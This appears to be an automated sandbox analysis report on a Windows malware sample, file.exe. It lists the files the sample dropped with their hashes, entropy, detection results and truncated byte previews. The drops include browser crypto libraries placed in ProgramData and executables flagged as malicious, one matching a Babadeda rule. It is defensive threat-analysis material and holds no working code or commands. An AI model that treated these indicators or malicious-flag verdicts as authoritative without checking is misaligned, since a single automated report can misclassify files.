Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC0F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6987562378236007
Encrypted:	false
SSDEEP:	96:TiZYWkF6usicxYmY+uZgYHvYEZV2LtHiQIZk0woO3Da03rMjf+mIvGy:2ZDkFYxhe3sa03rMjfevGy
MD5:	5A54EF8D34F85D9F7C1544F9414DDC8F
SHA1:	11B10C9B19B68245868C5721FC3960D2C6EE1F12
SHA-256:	9ED8925BC007D7B60F5194B3F0AEC33D3A75EE6EB481FE4936E0F613652C0517
SHA-512:	A7284B735650A60CB27DD62693BFD7924785AF61320FB772D28FA693B33F717C1585715289406E087124DD453FCB17AB8DAD218784D16BA0C8AB9B1F70426BAC
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_37c920a3-3db9-44c4-bfa3-75a0f1c5cfe5.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6439
Entropy (8bit):	5.140151073460681
Encrypted:	false
SSDEEP:	192:UjMi4a1cbhbVbTbfbRbObtbyEzn/nSrDtTJdB:UYgcNhnzFSJ5nSrDhJdB
MD5:	D2294AD4CB62B2A545832F85A0F81A8A
SHA1:	2B580C613ECE33A117E9316F9A5F05F4051602FD
SHA-256:	03A70408EEBDBEC779F9A786CC32AD04BFE105B6C215B65CDE1A38F33947ED23
SHA-512:	F58FEAD054C2E4E113D7BDED9C31371E736AAF3FF83EE8A8A17175CCC38CFE802078E14D2EF771BB391EB540BB53CC256F2924C7CBF5F120809DA0D7EC0CBB1F
Malicious:	false
Preview:	{"type":"uninstall","id":"37c920a3-3db9-44c4-bfa3-75a0f1c5cfe5","creationDate":"2024-07-24T01:53:13.865Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"65e71c9e-6ac3-4903-9066-b134350de32c","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_37c920a3-3db9-44c4-bfa3-75a0f1c5cfe5.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6439
Entropy (8bit):	5.140151073460681
Encrypted:	false
SSDEEP:	192:UjMi4a1cbhbVbTbfbRbObtbyEzn/nSrDtTJdB:UYgcNhnzFSJ5nSrDhJdB
MD5:	D2294AD4CB62B2A545832F85A0F81A8A
SHA1:	2B580C613ECE33A117E9316F9A5F05F4051602FD
SHA-256:	03A70408EEBDBEC779F9A786CC32AD04BFE105B6C215B65CDE1A38F33947ED23
SHA-512:	F58FEAD054C2E4E113D7BDED9C31371E736AAF3FF83EE8A8A17175CCC38CFE802078E14D2EF771BB391EB540BB53CC256F2924C7CBF5F120809DA0D7EC0CBB1F
Malicious:	false
Preview:	{"type":"uninstall","id":"37c920a3-3db9-44c4-bfa3-75a0f1c5cfe5","creationDate":"2024-07-24T01:53:13.865Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"65e71c9e-6ac3-4903-9066-b134350de32c","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cLPbKg0oEK.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hOYGfIcBVf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: x83kv6AWyn.exe, Detection: malicious, Browse Filename: PdlzD56Vib.exe, Detection: malicious, Browse Filename: TY3oxeY08f.exe, Detection: malicious, Browse Filename: Ggu0bxIMHV.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cLPbKg0oEK.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hOYGfIcBVf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: x83kv6AWyn.exe, Detection: malicious, Browse Filename: PdlzD56Vib.exe, Detection: malicious, Browse Filename: TY3oxeY08f.exe, Detection: malicious, Browse Filename: Ggu0bxIMHV.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userBGCAFHCAKF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879040
Entropy (8bit):	7.948729739938096
Encrypted:	false
SSDEEP:	49152:ILa2NeQ1KC15UUL4Cb/D9yH8ncUvuSbBGpcnmEJiA4P+yoOK:sNV1P150CzsccycGmEJiZP+y
MD5:	8DCA8723B206C803E7ACE213DF89B4F4
SHA1:	B5F6752C09E63F2278E423B3F93E4EEACF6F4CC4
SHA-256:	CC4CB57E8B5BA707022BC49E86BF7C26C645CBF3C838CCA83E36FB290CED2AB0
SHA-512:	A7928871C726CC5E04B4F55168731CBEA6C8BB2C5CBF2AB89F72F4F51D26317BF1A9A2555B1B8B8D60053C646C7D0A908AFC625965950AFE7D4852007DF38EF5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................J...........@...........................J..... .....@.................................X...l............................J.............................x.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@*.........................@...xfxaajvq......0.....................@...zhkwsvqa......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\userBKFCAFCFBA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.753377846417631
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfhxJ8Oq:Hq6+ouCpk2mpcWJ0r+QNTBfhnK
MD5:	A5E070181A6CD03264427E255B7CAD97
SHA1:	3117A3C6E86290479BB3D008B826BA28F49EC0BE
SHA-256:	B379D421F4C115469200325905C7B785A6D6D1E0CB6492CBFF65113E68DB45A7
SHA-512:	C9C4AD2114EBAEC5E9D18B34B5771A53C0FD5BE0035404242EA21D56E18D78097189E357D44E97F00C8A38F6ACA81A20878E5DAA7F39F79073AEB850855DAA2A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\userBKFCAFCFBA.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0b047921-0961-4a18-9b03-4a43f4e04f0a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26853
Entropy (8bit):	6.042501042128667
Encrypted:	false
SSDEEP:	768:VM7X2zt1jOXtXi3zahI1jPOB6xhS7OdMZc1K6vn0+kZ:VMSzMtXijaK1jkJCF0+kZ
MD5:	BC56E0918B554565DE82C4CF2E7B7DE9
SHA1:	3C36BA6F3889AF88BA7D76373EE1CE465B5D4090
SHA-256:	F2343431035AEBFA194C27CE2FE1DCF43431A5CDD0C79A2E50B3DBDB4BC14C7C
SHA-512:	B20EF64312A8647F2BED52C709BAEFA030F7C896BCF42357220FC03E05009C4B8CD0CD1B55936CE16DC5249A30B1F60C1CD0144F57A94B02DB3871942184B1B4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0b561471-054e-4148-b48b-f5952962442d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25767
Entropy (8bit):	6.0557970053402705
Encrypted:	false
SSDEEP:	768:VM7X2zt1jOXtXi3zahc1jPrNy+0SoKOdMZc1K6vn0+ke:VMSzMtXija+1jRyZKJCF0+ke
MD5:	D7B1A0549AAC4EC2FA6B5F4B3BA3E455
SHA1:	7C23DCF32F3D999907F86E3C4FE05B5F28401D6F
SHA-256:	B6C7D9AAA652C762FAEF31D601BE8CDE692AE6B74AE739C07E362A8AE38DD565
SHA-512:	2E20784F40B89FEDEB13C1A3AD34B91EBF51802625EBD2EB1631AAB18586CD3D7D945B3B2A9DD39D273EC1A3C4DE1DF33A5E627F463E2D6CD6C7A2227C062F56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2088c7ee-9535-4a2e-9684-4473049a8e6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8239
Entropy (8bit):	5.7924673331559005
Encrypted:	false
SSDEEP:	192:fsNAyrtaeiRUZojjikSC6qRAq1k8SPxVLZ7VTiQ:fsNA4gFfhSC6q3QxVNZTiQ
MD5:	5B254C98A9D66929F1E44B350399C67B
SHA1:	B3B90E8B4542C2757CFDC3DB1AF99F82875A816A
SHA-256:	A4A50B739023D68B5B4C06606D6BE41C4C6DDD3E04FB6031850CBC653C08FB95
SHA-512:	E3AFC09F3BCFF519F8C446D6B941B3E1FD6F727582A092DDEEC6760B6992676BCCC5FA2CC2747AD257F17F9EC746F4520D87256202ED59A6FC4AF252A0652EED
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Ve

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2cf33569-96ba-4e0c-8833-fae12c9b84a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	26993
Entropy (8bit):	6.0425368598274245
Encrypted:	false
SSDEEP:	768:VM7X2zt1jOXtXi3zahIkjPiB6xhS7OdMZc1K6vn0+kZ:VMSzMtXijaKkjwJCF0+kZ
MD5:	C1EA162992391D9788C23DD9478306A6
SHA1:	4216B064908A8F1E52D356F5F20F0771B59DFF3F
SHA-256:	9878CCC0B684FD682F96DFF546EA0B73A2A5EFBA58815D94C8FA15FC20D6E63E
SHA-512:	1B7FD949639CD09F49AF18C944E58B47C18563987C2A6063191B86919A57FF490622788D80FAAF0D1684A4ECC2D073575AAB6DAE66976EFF3D374699725C768D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2d38d890-efe2-4c26-87f2-273c2e79aae1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	5.504247870179077
Encrypted:	false
SSDEEP:	96:hXqsNk5h7ttMfqpWktFacih/cIyURLl8Rotoe32bXB/V2VvlTZjne4WJkScq1nbR:4sNwhhtzrts1ViRUYRNOjikSmCr
MD5:	984FE802CA44FF9445C2F8AA9272BD05
SHA1:	5F5873F1119F1A73374726BDE14A107F0CC8E56B
SHA-256:	F26E27F369A3C277827EBEA33BB5FACAD3B908AF869F04B49A7F6D7A59D15B72
SHA-512:	52AD0C06446E3AD0A7BBACECA10C30527FEF56D38A374F8FF2449E53A1E177B887845C4220A78ABCB6B859199A55513B1143A68F6B6A791BE2E31540696B2499
Malicious:	false
